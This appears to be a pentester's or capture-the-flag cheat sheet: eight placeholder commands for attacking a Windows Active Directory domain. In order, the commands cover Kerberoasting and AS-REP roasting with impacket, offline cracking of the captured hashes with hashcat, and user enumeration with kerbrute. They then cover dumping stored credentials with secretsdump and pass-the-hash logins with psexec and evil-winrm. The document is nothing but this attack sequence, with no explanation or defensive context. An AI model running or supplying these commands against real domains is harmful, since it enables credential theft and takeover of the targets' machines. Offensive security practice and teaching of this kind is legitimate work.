impacket-GetUserSPNs <domain-name>/<user> -dc-ip <IP> -request -o hash
hashcat -m<hash-mode> hash <passwordlist>
impacket-psexec <domain-name>/<user>@<IP>
./kerbrute userenum --dc=<IP> -d=<domain-name> <wordlist> # Enum NPUsers
impacket-GetNPUsers -no-pass -usersfile validusers.txt -dc-ip <IP> <domain-name>
impacket-secretsdump <domain-name>/<user>@<IP>
impacket-psexec <domain-name>/administrator@<IP> cmd.exe -hashes :<hash>
evil-winrm -i <IP> -u <user> -H <hash>
